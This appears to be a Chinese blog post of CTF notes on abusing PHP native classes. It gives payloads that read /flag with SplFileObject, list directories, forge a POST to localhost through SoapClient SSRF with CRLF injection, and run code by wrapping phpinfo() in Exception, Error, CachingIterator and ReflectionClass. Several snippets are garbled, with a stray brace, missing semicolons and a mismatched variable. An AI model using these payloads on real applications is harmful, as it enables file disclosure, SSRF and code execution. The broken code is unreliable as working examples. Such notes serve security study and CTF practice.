当前位置: 首页 > news >正文

php原生类的使用

php原生类

读取文件

可使用:SplFileObject
用法:

<?php$f=new SplFileObject('/flag') //读取flag文件
}
?>

遍历目录

可使用:DirectoryIteratorRecursiveDirectoryIteratorFilesystemIterator
用法:

<?php$f=new DirectoryIterator('/') //扫描根目录 foreach($dir as $f) {echo($f . '<br>');
}
?>

RecursiveDirectoryIteratorFilesystemIterator类同上
FilesystemIterator不会输出..

访问服务器的类(SSRF可利用)

可使用:SoapClient
代码解析

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'chendi^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "dwzzzzzzzzzz")); //构造POST请求,uri参数用于在SOAP消息中标识XML元素和属性的来源或含义。
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
$c =unserialize($a);
$c->aaas(); //调用不存在函数触发__call

使用原生类进行代码执行

使用异常处理类Exception执行代码

echo new Exception(phpinfo());

使用CachingIterator类执行代码

echo new CachingIterator(phpinfo());

使用Error类执行代码

echo new Error(phpinfo());

使用DirectoryIterator类执行代码

echo new DirectoryIterator(phpinfo());

反射类的使用

ReflectionClass

ReflectionClass类可以获取类的名称、父类、接口、方法、属性

<?php
$a=new ReflectionClass('类名');
echo($a);//输出类的名称和属性、方法等
?>
利用ReflectionClass 执行命令
<?phpecho new ReflectionClass(phpinfo());
?>
http://www.hskmm.com/?act=detail&tid=39254

相关文章:

  • 下午选歌
  • 分治算法在查找第k小元素中的应用与分析
  • 2025年10月电竞显示器品牌评价榜:五强对比与选购要点
  • 「学习笔记」RCE基础
  • Level 0~8 WP
  • 2025年10月中国装饰公司对比榜:十家口碑与实力排行
  • 2025年10月食品展会推荐榜:NHNE领衔五大展会对比评测
  • 2025年10月连锁酒店排行榜推荐:丽柏丽怡领衔对比评测榜
  • 芯片落地之道
  • 2025年10月中国办公家具定制公司推荐:口碑排行榜与权威解析
  • PS-02
  • 2025年10月中国办公家具定制公司推荐:主流口碑排行榜与避坑指南
  • 《React vs Vue:选择适合你的前端框架》 - 指南
  • 2025 年 10 月展示柜厂家最新推荐,技术实力与市场口碑深度解析
  • 2025年10月暖风机口碑榜:主流机型对比与选购避坑指南
  • 107.计组--四章
  • 2025 年 10 月铜材切削液厂家最新推荐,精准检测与稳定性能深度解析
  • LazyLLM学习:使用提示词工程+RAG创建AI女友
  • 实用指南:proxy_pass和location匹配路径的拼接逻辑
  • 2025 年 10 月铝合金切削液厂家最新推荐,高性能与可靠性兼具的优质品牌
  • 2025 年 10 月硬质合金切削液厂家最新推荐,精准检测与稳定性能深度解析
  • 读AI赋能10助手
  • P13518 [KOI 2025 #2] 镜子
  • Correlation inequality小记
  • 使用Prodfiler优化eBPF编译器性能:从内存分配到向量化的全面调优
  • 详细介绍:JMeter接口测试
  • day04-Coze工作流案例(中草药识别-菜谱生成-智能换脸)
  • d40: vue杂项问题 - 详解
  • 精通-Pandas-探索性分析-全-
  • 【图像处理-基础知识】SFIT特征解析 - 教程